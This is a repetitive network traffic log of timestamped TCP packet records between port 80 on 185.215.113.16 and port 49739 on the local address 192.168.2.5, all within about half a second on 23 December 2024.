Dec 23, 2024 07:16:07.138269901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.138314962 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.139134884 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.139293909 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.139300108 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.139343023 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.140104055 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.140146017 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.140217066 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.140223026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.140269995 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.141074896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.141149998 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.141156912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.141211033 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.142009020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.142071962 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.142106056 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.142112017 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.142159939 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.142968893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.185233116 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.185252905 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.185259104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.185345888 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.185585976 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.185679913 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.185686111 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.185748100 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.186609030 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.186669111 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.186675072 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.186718941 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.186743021 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.187513113 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.187622070 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.187628031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.187808990 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.188469887 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.188585997 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.188591957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.188642979 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.188677073 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.189460039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.189549923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.189555883 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.189651966 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.190423012 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.190535069 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.190562963 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.238085032 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.256362915 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.256407022 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.256413937 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.256522894 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.256787062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.256875038 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.256989002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.257066965 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.257751942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.257867098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.257874012 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.257991076 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.258721113 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.258821964 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.258829117 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.258882046 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.258913040 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.259675026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.259802103 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.259814024 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.259854078 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.260636091 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.260720015 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.260823965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.260987997 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.261645079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.261876106 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.262195110 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.314728975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.314872980 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.314878941 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.314980030 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.315104008 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.315110922 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.315129995 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.315181971 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.315942049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.316046953 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.316054106 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.316122055 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.316905975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.317022085 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.317028046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.317217112 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.317892075 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.317984104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.317991018 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.318042994 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.318847895 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.318962097 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.318967104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.319016933 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.319802999 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.319910049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.319916010 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.320018053 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.320746899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.320856094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.320863008 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.320920944 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.321701050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.321801901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.321806908 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.321861029 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.322673082 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.322736025 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.322772026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.322779894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.322868109 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.323647976 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.323738098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.323744059 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.324588060 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.324645996 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.324775934 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.324781895 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.325568914 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.325623035 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.325668097 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.325675964 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.325733900 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.326543093 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.326606035 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.326642990 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.326649904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.326731920 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.327662945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.327668905 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.327676058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.327745914 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.328484058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.328574896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.328579903 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.328635931 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.329410076 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.329525948 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.329530954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.329598904 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.330471992 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.330760956 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.330766916 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.330826044 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.331355095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.331455946 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.331461906 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.331511974 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.332334995 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.332429886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.332436085 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.332499027 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.333395004 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.333452940 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.333458900 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.333518028 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.334374905 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.334487915 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.334507942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.334513903 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.335390091 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.335453033 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.370214939 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.377976894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.378007889 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.378015995 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.378086090 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.378331900 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.379138947 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.379146099 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.379395008 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.381450891 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.381591082 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.381598949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.381606102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.381618023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.381623983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.381671906 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.381721020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.381870985 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.381877899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.382186890 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.382790089 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.382797956 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.382805109 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.382848978 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.383838892 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.384011030 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.384464979 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.448813915 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.448918104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.448925018 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.449040890 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.449295044 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.449409008 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.449414968 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.449475050 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.450238943 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.450349092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.450356960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.450782061 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.451225996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.451327085 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.451332092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.451381922 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.452192068 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.452280045 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.452286005 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.452334881 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.453201056 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.453248978 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.453254938 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.453304052 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.454101086 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.454174042 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.454855919 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.507246017 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.507260084 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.507267952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.507342100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.507359982 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.507415056 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.507545948 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.507658005 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.507663965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.507837057 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.508586884 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.508655071 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.508661985 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.508714914 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.509481907 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.509587049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.509593010 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.509634972 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.510473967 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.510519981 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.510551929 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.510559082 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.510898113 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.511542082 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.511657953 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.511663914 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.511754036 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.512393951 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.512495995 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.512501955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.512520075 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.512552977 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.513365030 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.513446093 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.513452053 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.513515949 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.514302015 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.514400005 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.514405012 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.514451981 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.515266895 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.515366077 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.515372038 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.515583992 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.516244888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.516330957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.516336918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.516383886 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.517276049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.517343998 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.517349005 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.517404079 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.518251896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.518385887 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.518393040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.518440962 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.519159079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.519248009 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.519253969 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.519381046 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.520113945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.520173073 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.520211935 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.520217896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.520276070 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.521080017 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.521162033 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.521167994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.521214962 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.522039890 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.522135019 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.522140980 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.522192001 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.522991896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.523092031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.523097992 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.523281097 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.523963928 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.524068117 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.524074078 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.524116993 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.524935007 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.525017023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.525022984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.525080919 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.525892973 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.526000023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.526005983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.526051998 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.526859999 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.526973009 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.526978016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.527023077 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.570106983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.570166111 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.570173025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.570271015 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.570508957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.570619106 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.570625067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.570658922 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.571460962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.571572065 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.571598053 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.572021961 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.572114944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.572120905 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.572161913 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.572964907 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.573062897 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.573067904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.573112965 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.573946953 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.574044943 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.574052095 CET	80	49739	185.215.113.16	192.168.2.5
